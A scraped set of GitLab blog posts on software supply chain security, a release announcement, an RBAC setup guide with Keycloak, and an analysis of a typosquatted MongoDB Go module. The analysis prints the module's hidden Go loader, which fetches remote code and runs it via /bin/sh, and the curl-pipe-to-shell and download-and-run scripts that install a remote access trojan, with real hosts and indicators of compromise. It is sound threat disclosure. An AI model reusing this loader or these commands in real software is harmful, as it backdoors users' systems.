**Deployment security:** secure the delivery mechanisms and runtime environments  \n* **Tool security:** harden the development tools and platforms themselves\n\nThe \"chain\" in supply chain security refers to this interconnected series of steps. A weakness anywhere in the chain can compromise the entire software delivery process.\n\nThe [2020 SolarWinds attack](https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security) illustrates this perfectly. In what became one of the largest supply chain attacks in history, state-sponsored attackers compromised the build pipeline of SolarWinds' Orion network management software. Rather than exploiting a vulnerable dependency or hacking the final application, they injected malicious code during the compilation process itself.\n\nThe result was devastating: More than 18,000 organizations, including multiple U.S. government agencies, unknowingly installed backdoored software through normal software updates. The source code was clean, the final application appeared legitimate, but the build process had been weaponized. This attack remained undetected for months, demonstrating how supply chain vulnerabilities can bypass traditional security measures.\n\n### Common misconceptions that leave organizations vulnerable\n\nDespite growing awareness of supply chain threats, many organizations remain exposed because they operate under fundamental misunderstandings about what software supply chain security actually entails. These misconceptions create dangerous blind spots:\n\n* Thinking software supply chain security equals dependency scanning  \n* Focusing only on open source components while ignoring proprietary code risks  \n* Believing that code signing alone provides sufficient protection  \n* Assuming that secure coding practices eliminate supply chain risks  \n* Treating it as a security team problem rather than a development workflow challenge\n\n![Software supply chain security dependency chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png)\n\n## How AI is changing the game\n\nJust as organizations are grappling with traditional software supply chain security challenges, artificial intelligence (AI)  is introducing entirely new attack vectors and amplifying existing ones in unprecedented ways.\n\n### AI-powered attacks: More sophisticated, more scalable\n\nAttackers are using AI to automate vulnerability discovery, generate convincing social engineering attacks targeting developers, and systematically analyze public codebases for weaknesses. What once required manual effort can now be done at scale — with precision.\n\n### The AI development supply chain introduces new risks\n\nAI is reshaping the entire development lifecycle, but it's also introducing significant security blind spots:\n\n* **Model supply chain attacks:** Pre-trained models from sources like Hugging Face or GitHub may contain backdoors or poisoned training data.  \n* **Insecure AI-generated code:** Developers using AI coding assistants may unknowingly introduce vulnerable patterns or unsafe dependencies.  \n* **Compromised AI toolchains:** The infrastructure used to train, deploy, and manage AI models creates a new attack surface.  \n* **Automated reconnaissance:** AI enables attackers to scan entire ecosystems to identify high-impact supply chain targets.  \n* **Shadow AI and unsanctioned tools:** Developers may integrate external AI tools that haven't been vetted.\n\nThe result? AI doesn't just introduce new vulnerabilities, it amplifies the scale and impact of existing ones. Organizations can no longer rely on incremental improvements. The threat landscape is evolving faster than current security practices can adapt.\n\n![AI amplification effect](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png)\n\n## Why most organizations still struggle\n\nEven organizations that understand supply chain security often fail to act effectively. The statistics reveal a troubling pattern of awareness without corresponding behavior change.\n\nWhen [Colonial Pipeline paid hackers $4.4 million](https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html) in 2021 to restore operations, or when 18,000 organizations fell victim to the SolarWinds attack, the message was clear: Supply chain vulnerabilities can bring down critical infrastructure and compromise sensitive data at unprecedented scale.\n\nYet, despite this awareness, most organizations continue with business as usual. The real question isn't whether organizations care about supply chain security — it's why caring alone isn't translating into effective protection.\n\nThe answer lies in four critical barriers that prevent effective action:\n\n**1. The false economy mindset**\n\nOrganizations sometimes focus on the cost instead of \"what's the most effective approach?\" This cost-first thinking creates expensive downstream problems.\n\n**2. Skills shortage reality**\n\nWith [organizations averaging 4 security professionals per 100 developers](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/), according to BSIMM research, and [90% of organizations reporting critical cybersecurity skills gaps](https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen), according to ISC2, traditional approaches are mathematically impossible to scale.\n\n**3. Misaligned organizational incentives**\n\nDeveloper OKRs focus on feature velocity while security teams measure different outcomes. When C-suite priorities emphasize speed-to-market over security posture, friction becomes inevitable.\n\n**4. Tool complexity overload**\n\nThe [average enterprise uses 45 cybersecurity tools](https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025), with [40% of security alerts being false positives](https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html) and must [coordinate across 19 tools on average for each incident](https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue).\n\nThese barriers create a vicious cycle: Organizations recognize the threat, invest in security solutions, but implement them in ways that don't drive the desired outcomes.\n\n## The true price of supply chain insecurity\n\nSupply chain attacks create risk and expenses that extend far beyond initial remediation. Understanding these hidden multipliers helps explain why prevention is not just preferable – it's essential for business continuity.\n\n**Time becomes the enemy**\n\n* Average time to identify and contain a supply chain breach: [277 days](https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data)  \n* Customer trust rebuilding period: [2-3+ years](https://www.bcg.com/publications/2024/rebuilding-corporate-trust)   \n* Engineering hours diverted from product development to security remediation\n\n**Reputation damage compounds** \n\nWhen attackers compromise your supply chain, they don't just steal data – they undermine the foundation of customer trust. [Customer churn rates typically increase 33% post-breach](https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach), while partner relationships require costly re-certification processes. Competitive positioning suffers as prospects choose alternatives perceived as \"safer.\"\n\n**Regulatory reality bites** \n\nThe regulatory landscape has fundamentally shifted. [GDPR fines now average over $50 million for significant data breache](https://www.skillcast.com/blog/20-biggest-gdpr-fines)s. The EU's new [Cyber Resilience Act](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-\\(cra\\)) mandates supply chain transparency. U.S. federal contractors must provide software bills of materials ([SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) for all software purchases — a requirement that's rapidly spreading to private sector procurement.\n\n**Operational disruption multiplies** \n\nBeyond the direct costs, supply chain attacks create operational chaos such as platform downtime during attack remediation, emergency security audits across entire technology stacks, and legal costs from customer lawsuits and regulatory investigations.\n\n## What's wrong with current approaches\n\nMost organizations confuse security activity with security impact. They deploy scanners, generate lengthy reports, and chase teams to address through manual follow-ups. But these efforts often backfire — creating more problems than they solve.\n\n### Massive scanning vs. effective protection\n\nEnterprises generate over [10,000 security alerts each month, with the most active generating roughly 150,000 events per day.](https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/) [But 63%](https://panther.com/blog/identifying-and-mitigating-false-positive-alerts) of these are false positives or low-priority noise. Security teams become overwhelmed and turn into bottlenecks instead of enablers.\n\n### The collaboration breakdown\n\nThe most secure organizations don't have the most tools; they have the strongest DevSecOps collaboration. But most current setups make this harder by splitting workflows across incompatible tools, failing to show developers security results in their environment, and offering no shared visibility into risk and business impact.\n\n## The path forward\n\nUnderstanding these challenges is the first step toward building effective supply chain security. The organizations that succeed don't just add more security tools, they fundamentally rethink how security integrates with development workflows. They also review end-to-end software delivery workflows to simplify processes, reduce tools and improve collaboration.\n\nAt GitLab, we've seen how integrated DevSecOps platforms can address these challenges by bringing security directly into the development workflow. In our next article in this series, we'll explore how leading organizations are transforming their approach to supply chain security through developer-native solutions, AI-powered automation, and platforms that make security a natural part of building great software.\n> Learn more about [GitLab's software supply chain security capabilities](https://about.gitlab.com/solutions/supply-chain/).",[14,695,696],"product","tutorial",{"featured":92,"template":677,"slug":698},"software-supply-chain-security-guide-why-organizations-struggle","content:en-us:blog:software-supply-chain-security-guide-why-organizations-struggle.yml","Software Supply Chain Security Guide Why Organizations Struggle","en-us/blog/software-supply-chain-security-guide-why-organizations-struggle.yml","en-us/blog/software-supply-chain-security-guide-why-organizations-struggle",{"_path":704,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":705,"content":708,"config":716,"_id":718,"_type":16,"title":719,"_source":17,"_file":720,"_stem":721,"_extension":20},"/en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"noIndex":6,"title":706,"description":707},"Bridging the visibility gap in software supply chain security","GitLab 18.2 includes support for comprehensive scanner coverage and transitive dependency visualization.",{"title":706,"description":707,"authors":709,"heroImage":711,"date":712,"body":713,"category":14,"tags":714},[710],"Salman Ladha","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","2025-07-21","Our most recent release, [GitLab 18.2](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/), introduces two new capabilities to improve software supply chain security: Security Inventory and Dependency Path visualization.\n\nSecurity Inventory gives Application Security teams a centralized, portfolio-wide view of risk and scan coverage across their GitLab groups and projects, helping them identify blind spots and prioritize risk mitigation efforts. Dependency Path visualization equips developers with a clear view of how open source vulnerabilities are introduced through the dependency chain, making it easier to pinpoint the right fix.\n\nTogether, these capabilities help security and development teams build more secure applications by providing visibility into where risks exist, context to remediate them, and workflows that support collaboration. Unlike other solutions, this all happens in the same platform developers use to build, review, and deploy software, creating a developer and AppSec experience without the overhead of integrations.\n\n## Open source widens the attack surface area\n\nModern applications [heavily](https://about.gitlab.com/developer-survey/) rely on open source software. However, open source introduces a significant security risk — components can be outdated, unmaintained, or unknowingly expose vulnerabilities. That's why Software Composition Analysis (SCA) has become a cornerstone of modern AppSec programs.\n\nA key challenge in vulnerability management is effectively managing *transitive dependency risk*. These components are often buried deep in the dependency chain, making it difficult to trace how a vulnerability was introduced or determine what needs to be updated to fix it. Worse, they account for nearly [two-thirds](https://arxiv.org/abs/2503.22134?) of known open source vulnerabilities. Without clear visibility into the full dependency path, teams are left guessing, delaying remediation and increasing risk.\n\n> Transitive dependencies are packages that your application uses indirectly. They're pulled in automatically by the direct dependencies you explicitly include. These nested dependencies can introduce vulnerabilities without the developer ever knowing they're in the project.\n\nThis challenge becomes exponentially more difficult at scale. When security teams are responsible for hundreds, or even thousands, of repositories — each with their own dependencies, build pipelines, and owners — answering fundamental questions on application security risk posture becomes challenging. And in an era of growing software supply chain threats, where vulnerabilities can propagate across systems through shared libraries and CI/CD configurations, these blind spots take on even greater consequence.\n\n## Security Inventory: Visibility that scales\nSecurity Inventory consolidates risk information across all your groups and projects into a unified view. It highlights which assets are covered by security scans and which aren't. Rather than managing issues in isolation, security teams can assess posture holistically and identify where to focus efforts.\n\nThis level of centralization is especially critical for organizations managing a large number of repositories. It allows platform and AppSec teams to understand where risk exists by highlighting unscanned or underprotected projects, but also enables them to take action directly from the interface. Teams can go beyond just awareness to enforcement with the full context and understanding of which applications pose the greatest risk. By turning fragmented insights into a single source of truth, Security Inventory enables organizations to move from reactive issue triage to strategic, data-driven security governance.\n![Security Inventory display](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\nLearn more by watching Security Inventory in action:\n\u003C!-- blank line --> \u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure> \u003C!-- blank line -->\n## Dependency Path visualization: Clarity for effective remediation\n\nSecurity Inventory shows where the risks are at a high level; Dependency Path visualization shows how to fix them.\n\nWhen a vulnerability is discovered deep in a dependency chain, identifying the correct fix can be complicated. Most security tools will highlight the affected package but stop short of explaining how it entered the codebase. Developers are left guessing which dependencies are directly introduced and which are pulled in transitively, making it difficult to determine where a change is needed, or worse, applying patches that don't address the root cause.\n\nOur new Dependency Path visualization, sometimes referred to as a dependency graph, displays the full route from a top-level package to the vulnerable component following an SCA scan. This clarity is essential, especially given how pervasive deeply embedded vulnerabilities are in dependency chains. And since it's built into the GitLab workflow, developers gain actionable insight without context switching or guesswork. Security teams can more effectively triage issues while developers get assurance that remediations are addressing root causes.\n![Dependency path visualization](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n## Mitigate risk with developer-first security\n\nThese capabilities are part of GitLab's broader strategy to deliver security within the same platform where code is planned, built, and deployed. By embedding security insights into the DevSecOps workflow, GitLab reduces friction and drives collaboration between development and security teams.\n\nSecurity Inventory and Dependency Path visualization provide complementary perspectives: the former enables scale-aware oversight, the latter supports precision fixes. This alignment helps teams prioritize what matters most and close gaps without adding new tools or complex integrations.\n\n> Get started with Security Inventory and Dependency Path visualization today! Sign up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n## Read more\n- [GitLab 18.2 released](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)\n\n- [GitLab security solutions](https://about.gitlab.com/solutions/security-compliance/)\n\n- [A field guide to threat vectors in the sofware supply chain](https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",[14,715,695],"features",{"featured":92,"template":677,"slug":717},"bridging-the-visibility-gap-in-software-supply-chain-security","content:en-us:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain Security","en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":723,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":724,"content":727,"config":734,"_id":736,"_type":16,"title":737,"_source":17,"_file":738,"_stem":739,"_extension":20},"/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":6,"title":725,"description":726},"GitLab catches MongoDB Go module supply chain attack","Learn how GitLab detected a supply chain attack targeting Go developers through fake MongoDB drivers that deploy persistent backdoor malware.",{"title":725,"description":726,"authors":728,"heroImage":730,"body":731,"category":14,"tags":732,"date":733},[729],"Michael Henriksen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.\n\nTo address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:\n\n- Automated typosquatting detection, which identifies suspicious naming patterns\n- Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions\n- AI-assisted initial screening for advanced payload and obfuscation detection\n\nThis multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.\n\nUsing this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.\n\n## Executive summary: A MongoDB module that's not quite right\n\nOur detection system flagged a newly published Go module called `github.com/qiniiu/qmgo`, closely mimicking the popular [MongoDB](https://www.mongodb.com/) module `github.com/qiniu/qmgo`. The legitimate module describes itself as \"The Go driver for MongoDB\" and has gained traction in the Go community.\n\nTo disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (`qiniu` → `qiniiu`). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.\n\nThe new module’s code was a working copy of the legitimate `qmgo` module. However, malicious code was inserted into the `NewClient` function in `client.go`, a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.\n\nAfter reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (`github.com/qiiniu/qmgo`) just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.\n\n## Technical deep dive: Peeling back the layers\n\nThe threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:\n\n```go  \ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()  \nif err == nil {  \n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()  \n    if err == nil {  \n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()  \n    }  \n}  \n```\n\nThe attack unfolds in four distinct layers:\n\n**Layer 1:** The code fetches `update.html` from another repository owned by the typosquat account `qiiniu/vue-element-admin`. The file contained a single line: \n\n```  \nhttps://img.googlex.cloud/seed.php\n```\n\n**Layer 2:** The code then fetches `https://img.googlex.cloud/seed.php`, which returns a single shell command, which is executed: \n\n```bash  \ncurl -s http://207.148.110.29:80/logon61.gif|sh\n```\n\n**Layer 3:** The command tells the system to fetch `http://207.148.110.29:80/logon61.gif` using curl and execute the response as a shell script.  The shell script downloads what appears to be an MP3 file (`chainelli.mp3`) to `/tmp/vod`, makes it executable, runs it, and immediately deletes it:\n\n```bash  \n#!/bin/sh  \nrm -rf /tmp/vod  \ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  \nchmod 777 /tmp/vod  \n/tmp/vod  \nrm -rf /tmp/vod  \n```\n\n**Layer 4:** The `chainelli.mp3` file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at `ellipal.spoolsv.cyou` on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:\n\n* Complete remote shell access and one-off command execution  \n* Screenshot captures  \n* SOCKS proxy functionality to make connections through the compromised machine  \n* Configurable sleep interval between check-ins with the command and control server to avoid detection  \n* Standard remote access trojan features like filesystem browsing and upload/download\n\n## They're back (already)\n\nJust four days after GitLab reported the initial malicious module and saw it removed, `github.com/qiiniu/qmgo` appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.\n\n## GitLab’s approach: Finding needles in haystacks\n\nThe initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:\n\n**Typosquatting detection:** GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.\n\n**Semantic heuristics:** Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.\n\n**AI-assisted analysis:** A [large language model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.\n\n**Human review:** A human receives an alert to verify the finding and to perform advanced analysis.\n\n## Recommendations: Staying ahead of persistent supply chain threats\n\nThis attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.\n\nThe quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.\n\nWe've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `github.com/qiniiu/qmgo` | Malicious Go module |\n| `github.com/qiiniu/qmgo` | Malicious Go module |\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://img.googlex.cloud/seed.php` | Payload delivery URL |\n| `http://207.148.110.29:80/logon61.gif` | Payload delivery URL |\n| `http://207.148.110.29:80/chainelli.mp3` | Payload delivery URL |\n| `img.googlex.cloud` | Payload delivery host |\n| `207.148.110.29` | Payload delivery host |\n| `ellipal.spoolsv.cyou` | Command & Control host |\n| `6ada952c592f286692c59028c5e0fc3fa589759f` | SHA-1 checksum of chainelli.mp3 remote administration malware |\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c` | SHA-256 checksum of chainelli.mp3 remote administration malware |\n| `/tmp/vod` | Temporary download location of chainelli.mp3 remote administration malware |\n\n## How GitLab helps secure the software supply chain \n\nMalicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/) scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production. \n\nPaired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity. \n\n## Timeline\n\n* **2025-06-01T09:31:** GitLab reports `github.com/qiniiu/qmgo` to Go Security  \n* **2025-06-01T09:43:** GitLab reports `github.com/qiniiu/qmgo` to GitHub  \n* **2025-06-01T10:14:** GitLab reports `ellipal.spoolsv.cyou` (`188.166.213.194`) to the IP block owner \n* **2025-06-02T04:03:** Go Security takes down `github.com/qiniiu/qmgo`\n* **2025-06-02T09:57:** The IP block owner suspends `188.166.213.194`\n* **2025-06-03T09:15:** GitHub suspends `github.com/qiniiu`\n* **2025-06-05T17:15:** GitLab reports `github.com/qiiniu/qmgo` to Go Security  \n* **2025-06-05T17:33:** GitLab reports `github.com/qiiniu/qmgo` to GitHub  \n* **2025-06-05T17:45:** Go Security takes down `github.com/qiiniu/qmgo`\n* **2025-06-06T12:25:** GitHub suspends `github.com/qiiniu`",[14,695],"2025-06-30",{"featured":92,"template":677,"slug":735},"gitlab-catches-mongodb-go-module-supply-chain-attack","content:en-us:blog:gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack","en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"_path":741,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":742,"content":745,"config":754,"_id":756,"_type":16,"title":757,"_source":17,"_file":758,"_stem":759,"_extension":20},"/en-us/blog/automating-role-based-access-control-rbac-at-scale",{"noIndex":6,"title":743,"description":744},"Automating role-based access control (RBAC) at scale","This guide details setting up GitLab + Keycloak + OIDC for RBAC, covering planning, Docker configuration, and automated access governance for DevSecOps.",{"title":743,"description":744,"heroImage":746,"date":747,"body":748,"category":14,"tags":749,"authors":750},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659561/Blog/Hero%20Images/securitycheck.png","2025-06-20","Security starts with structure. Building a scalable and secure development platform begins with getting the fundamentals right — especially role-based access control (RBAC).\n\nTo help our customers scale effectively, we developed the RBAC Accelerator — a modular, outcome-driven enablement program that supports large organizations in defining, enforcing, and scaling access policies across GitLab.\n\nThis foundation enables broader transformation. For example, the Secure SDLC Accelerator, built on top of the RBAC Accelerator, empowers customers to integrate compliance, security, and DevSecOps best practices into their workflows.\n\nGitLab customer [Lely](https://www.lelyna.com/us/), a major Dutch manufacturer of agricultural machines and robots, used this approach to migrate to GitLab Dedicated. Lely automated user provisioning via Azure AD using OpenID Connect (OIDC), enforced [least-privilege policies](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), and created a scalable, reusable access model to support their future development initiatives.\n\nIn this guide, we’ll take you through a hands-on implementation example of GitLab + [Keycloak](https://www.keycloak.org/) + OIDC, covering everything from running the setup in a Docker environment to automating role mapping, designing a scalable group hierarchy, and aligning GitLab access controls with organizational structure and compliance goals.\n\nThis is a local demo setup intended for proof-of-concept purposes only.\n\nWhether you’re just starting out or optimizing at scale, this modular foundation ensures you’re not just securing access — you’re enabling everything that comes next.\n\n## Getting started with access control planning\n\nBefore implementing any tooling, it’s essential to understand your access landscape. \n\nConsider:\n- What GitLab resources need protection (projects, groups, environments)?\n- Who are your personas (Developers, Maintainers, Guests, etc.)?\n- What organizational units (departments, cost centers) should govern access?\n- How does your IdP structure (Keycloak) define users and roles?\n\nUse this stage to draft your:\n- Access control matrix\n- GitLab group hierarchy (team- or product-based)\n- Least privilege policy assumptions\n\nSample group hierarchy \n\n```mermaid\ngraph TD\n    Root[\"Root (Root Group)\"]\n    FirmwareTeam[\"Firmware-Team\"]\n    FirmwareDevelopers[\"Developers (GitLab Developer Role)\"]\n    FirmwareMaintainers[\"Maintainers (GitLab Maintainer Role)\"]\n    FirmwareReporters[\"Reporters (GitLab Reporter Role)\"]\n    HardwareTeam[\"Hardware-Team\"]\n    HardwareDevelopers[\"Developers\"]\n    SoftwareTeam[\"Software-Team\"]\n    SoftwareDevelopers[\"Developers\"]\n    SoftwareMaintainers[\"Maintainers\"]\n    SoftwareReporters[\"Reporters\"]\n    \n    Enterprise --> FirmwareTeam\n    Enterprise --> HardwareTeam\n    Enterprise --> SoftwareTeam\n    \n    FirmwareTeam --> FirmwareDevelopers\n    FirmwareTeam --> FirmwareMaintainers\n    FirmwareTeam --> FirmwareReporters\n    \n    HardwareTeam --> HardwareDevelopers\n    \n    SoftwareTeam --> SoftwareDevelopers\n    SoftwareTeam --> SoftwareMaintainers\n    SoftwareTeam --> SoftwareReporters\n```\n\n## Demo system setup: GitLab + Keycloak in a local Docker environment\n### Prerequisites\n\n- Docker, Docker Compose, OpenSSL\n- GitLab Version 17.7.3 and Keycloak Version 23.0.7 container images\n- Self-signed certificates\n\n### .env configuration\n\nThe demo setup is using the following GitLab and Keycloak versions, ports and secrets.\n\n#### GitLab configuration\n\n```bash\nGITLAB_VERSION=17.7.3-ee.0\nGITLAB_EXTERNAL_URL=http://localhost:8081\nGITLAB_SSH_PORT=8222\n```\n\n####  Keycloak configuration\n\n```bash\nKEYCLOAK_VERSION=latest\nKEYCLOAK_ADMIN=\u003Cyour-admin-username>\nKEYCLOAK_ADMIN_PASSWORD=\u003Cyour-admin-password>\nKEYCLOAK_HTTPS_PORT=8443\nKEYCLOAK_CLIENT_SECRET=\u003Cyour-client-secret>  # Get this from Keycloak after setup\n```\n\n## Generate SSL certificates\n\nTo establish trust between GitLab and Keycloak, especially in a self-hosted Docker environment, we’ll need to generate self-signed SSL certificates. These certificates will enable encrypted HTTPS communication and ensure GitLab can securely talk to Keycloak during the OIDC authentication process.\n\nFor production environments, we recommend using certificates from a trusted Certificate Authority (CA), but for local testing and development, self-signed certificates are sufficient.\n\nFollow these step-by-step instructions:\n\n1. Create a folder for the certificates.\n\n\n``` mkdir -p certs```\n\n2. Generate a self-signed certificate with OpenSSL.\n\n```bash\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 \\\n  -keyout certs/tls.key \\\n  -out certs/tls.crt \\\n  -subj \"/CN=keycloak\" \\\n  -addext \"subjectAltName=DNS:keycloak,DNS:localhost\"\n```\n\n3. Create a PKCS12 keystore for Keycloak.\n\n\n```bash\nopenssl pkcs12 -export \\\n  -in certs/tls.crt \\\n  -inkey certs/tls.key \\\n  -out certs/keystore.p12 \\\n  -name keycloak \\\n  -password pass:password\n```\n\n## Start the service using Docker compose\n\nNow that we have our certificates, we can stand up our local GitLab + Keycloak environment using Docker Compose:\n\n\n```yaml\nversion: '3.8'\nservices:\n  gitlab:\n    image: gitlab/gitlab-ee:${GITLAB_VERSION}\n    container_name: gitlab\n    restart: unless-stopped\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        external_url '${GITLAB_EXTERNAL_URL:-http://localhost:8081}'\n        gitlab_rails['gitlab_shell_ssh_port'] = ${GITLAB_SSH_PORT:-8222}\n        gitlab_rails['display_initial_root_password'] = true\n\n        # OAuth Configuration\n        gitlab_rails['omniauth_enabled'] = true\n        gitlab_rails['omniauth_allow_single_sign_on'] = ['openid_connect']\n        gitlab_rails['omniauth_block_auto_created_users'] = false\n        gitlab_rails['omniauth_providers'] = [\n            {\n                'name' => 'openid_connect',\n                'label' => 'Keycloak',\n                'args' => {\n                    'name' => 'openid_connect',\n                    'scope' => ['openid', 'profile', 'email'],\n                    'response_type' => 'code',\n                    'issuer' => 'https://localhost:8443/realms/GitLab',\n                    'client_auth_method' => 'query',\n                    'discovery' => false,\n                    'uid_field' => 'preferred_username',\n                    'pkce' => true,\n                    'client_options' => {\n                        'identifier' => 'gitlab',\n                        'secret' => '${KEYCLOAK_CLIENT_SECRET}',\n                        'redirect_uri' => '${GITLAB_EXTERNAL_URL:-http://localhost:8081}/users/auth/openid_connect/callback',\n                        'authorization_endpoint' => 'https://localhost:8443/realms/GitLab/protocol/openid-connect/auth',\n                        'token_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/token',\n                        'userinfo_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/userinfo',\n                        'jwks_uri' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/certs'\n                    }\n                }\n            }\n        ]\n    volumes:\n      - gl-config:/etc/gitlab\n      - gl-data:/var/opt/gitlab\n      - ./certs/tls.crt:/etc/gitlab/trusted-certs/keycloak.crt\n    ports:\n      - '${GITLAB_EXTERNAL_PORT:-8081}:8081'\n      - '${GITLAB_SSH_PORT:-8222}:22'\n    shm_size: '256m'\n\n  keycloak:\n    image: quay.io/keycloak/keycloak:${KEYCLOAK_VERSION}\n    container_name: keycloak-server\n    restart: unless-stopped\n    command: [\n      \"start-dev\",\n      \"--import-realm\",\n      \"--https-port=${KEYCLOAK_HTTPS_PORT}\",\n      \"--https-key-store-file=/etc/x509/https/keystore.p12\",\n      \"--https-key-store-password=password\"\n    ]\n    volumes:\n      - ./data:/opt/keycloak/data/import\n      - ./certs:/etc/x509/https\n    environment:\n      KEYCLOAK_ADMIN: ${KEYCLOAK_ADMIN}\n      